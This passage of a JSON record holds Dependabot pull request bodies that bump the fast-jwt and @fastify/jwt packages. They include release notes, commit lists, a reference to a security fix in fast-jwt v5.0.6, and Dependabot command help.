href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/540\"\u003enearform/fast-jwt#540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix node 23 by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/541\"\u003enearform/fast-jwt#541\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump mnemonist from 0.39.8 to 0.40.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/544\"\u003enearform/fast-jwt#544\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: add type for cacheKeyBuilder by \u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitata benchmark by \u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix benchmarks with regards to jsonwebtoken performance by \u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/525\"\u003enearform/fast-jwt#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: upgrade deps by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/526\"\u003enearform/fast-jwt#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChore/types definition by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/527\"\u003enearform/fast-jwt#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fake timer by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/528\"\u003enearform/fast-jwt#528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFeat/generic signer verifier by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/529\"\u003enearform/fast-jwt#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.3 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/530\"\u003enearform/fast-jwt#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eupdate nearform banner link by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/533\"\u003enearform/fast-jwt#533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump eslint-config-prettier from 9.1.0 to 10.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/538\"\u003enearform/fast-jwt#538\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.4 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/539\"\u003enearform/fast-jwt#539\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/523\"\u003enearform/fast-jwt#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(types): Add missing input type for DecodedJwt and Updated input field to return decoded 'input' by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.1\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0dbaa53023ba641b9ed6a1b93c82170381ad0f93\"\u003e\u003ccode\u003e0dbaa53\u003c/code\u003e\u003c/a\u003e Release v5.0.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd\"\u003e\u003ccode\u003ecc26b1d\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/d2b0ccb103848917848390f96f06acee339a7a19\"\u003e\u003ccode\u003ed2b0ccb\u003c/code\u003e\u003c/a\u003e chore: update optic action to use the correct version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/79208cace7b5453fd1e4e96a84434d94f4d00ae1\"\u003e\u003ccode\u003e79208ca\u003c/code\u003e\u003c/a\u003e Fix benchmarks with regards to jsonwebtoken performance (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/535\"\u003e#535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ce5b923c3dc3cd671549b59bf97f5d2113921287\"\u003e\u003ccode\u003ece5b923\u003c/code\u003e\u003c/a\u003e Port benchmarks to mitata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ffc1b8c93d50e92c5fa956b737565adaf48fb8c3\"\u003e\u003ccode\u003effc1b8c\u003c/code\u003e\u003c/a\u003e chore: add type for cacheKeyBuilder (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cd12d284c0de1202eade1d001b49ba07dd7ab26b\"\u003e\u003ccode\u003ecd12d28\u003c/code\u003e\u003c/a\u003e chore(deps): bump mnemonist from 0.39.8 to 0.40.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/544\"\u003e#544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/bbc25ecc4e0dc8b1956441c470d928a2700770c5\"\u003e\u003ccode\u003ebbc25ec\u003c/code\u003e\u003c/a\u003e chore: fix node 23 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/541\"\u003e#541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f14de38c3e9b7a27459d556dab60cb34e5c0dfd2\"\u003e\u003ccode\u003ef14de38\u003c/code\u003e\u003c/a\u003e Release v5.0.5 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/540\"\u003e#540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/354c4c1d9e186dec6c8d2b80b258612f7e09cf3b\"\u003e\u003ccode\u003e354c4c1\u003c/code\u003e\u003c/a\u003e Release v5.0.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/539\"\u003e#539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v5.0.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/khulnasoft/pkg.khulnasoft.com/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/khulnasoft/pkg.khulnasoft.com/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/khulnasoft%2Fpkg.khulnasoft.com/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"}},{"old_version":"4.0.5","new_version":"6.0.2","update_type":"major","path":null,"pr_created_at":"2025-10-07T12:01:17.000Z","version_change":"4.0.5 → 6.0.2","issue":{"uuid":"2893731500","node_id":"PR_kwDOKs7GSs6setas","number":30,"state":"open","title":"chore(deps): bump fast-jwt and @fastify/jwt","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":null,"author_association":"NONE","state_reason":null,"created_at":"2025-10-07T12:01:17.000Z","updated_at":"2025-10-07T12:01:18.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":"4.0.5","new_version":"6.0.2"},{"name":"@fastify/jwt","repository_url":"https://github.com/fastify/fastify-jwt","old_version":"7.2.4","new_version":"10.0.0"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) and [@fastify/jwt](https://github.com/fastify/fastify-jwt). These dependencies needed to be updated together.\nUpdates `fast-jwt` from 4.0.5 to 6.0.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.6...v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.6...v6.0.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.6\u003c/h2\u003e\n\u003ch2\u003eSECURITY RELEASE\u003c/h2\u003e\n\u003cp\u003eThis release contains a fix for \u003ca href=\"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\"\u003ehttps://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eUpgrading is strongly recommended.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/tibrn\"\u003e\u003ccode\u003e@​tibrn\u003c/code\u003e\u003c/a\u003e for reporting, and \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e for fixing it.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/56f00ffdc2e8b55bd06727f64e0ee3bbae8d2cc4\"\u003e\u003ccode\u003e56f00ff\u003c/code\u003e\u003c/a\u003e Release v6.0.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/c298121e818044bd5f1bc6f1f42bf55d6a35cad4\"\u003e\u003ccode\u003ec298121\u003c/code\u003e\u003c/a\u003e Release v6.0.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/557\"\u003e#557\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/17fd233575aac4377685b67d642cb17acab89e72\"\u003e\u003ccode\u003e17fd233\u003c/code\u003e\u003c/a\u003e feature: support negative expiresIn when signing tokens (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/556\"\u003e#556\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/438e18d0b04d47f8400aedb17abc945f0b34c362\"\u003e\u003ccode\u003e438e18d\u003c/code\u003e\u003c/a\u003e Release v6.0.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/554\"\u003e#554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/c4d4580cf025f9cffe97367363ed0a4f6dd2129e\"\u003e\u003ccode\u003ec4d4580\u003c/code\u003e\u003c/a\u003e feat!: align claim validation to specification (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/553\"\u003e#553\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/a8c60996e5e2135f47b2de4bfec711ee3198c842\"\u003e\u003ccode\u003ea8c6099\u003c/code\u003e\u003c/a\u003e Release v5.0.6 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/551\"\u003e#551\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd\"\u003e\u003ccode\u003ecc26b1d\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v6.0.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@fastify/jwt` from 7.2.4 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify-jwt/releases\"\u003e\u003ccode\u003e@​fastify/jwt\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.0.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBreaking changes\u003c/h3\u003e\n\u003cp\u003ebuild(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/374\"\u003efastify/fastify-jwt#374\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/releases/tag/v6.0.0\u003c/a\u003e for details on how it might affect you.\u003c/p\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cp\u003echore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/379\"\u003efastify/fastify-jwt#379\u003c/a\u003e)\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003etest: migrate to node test runner by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/370\"\u003efastify/fastify-jwt#370\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/371\"\u003efastify/fastify-jwt#371\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: capture missingRequiredClaim errors and map to 401  by \u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca 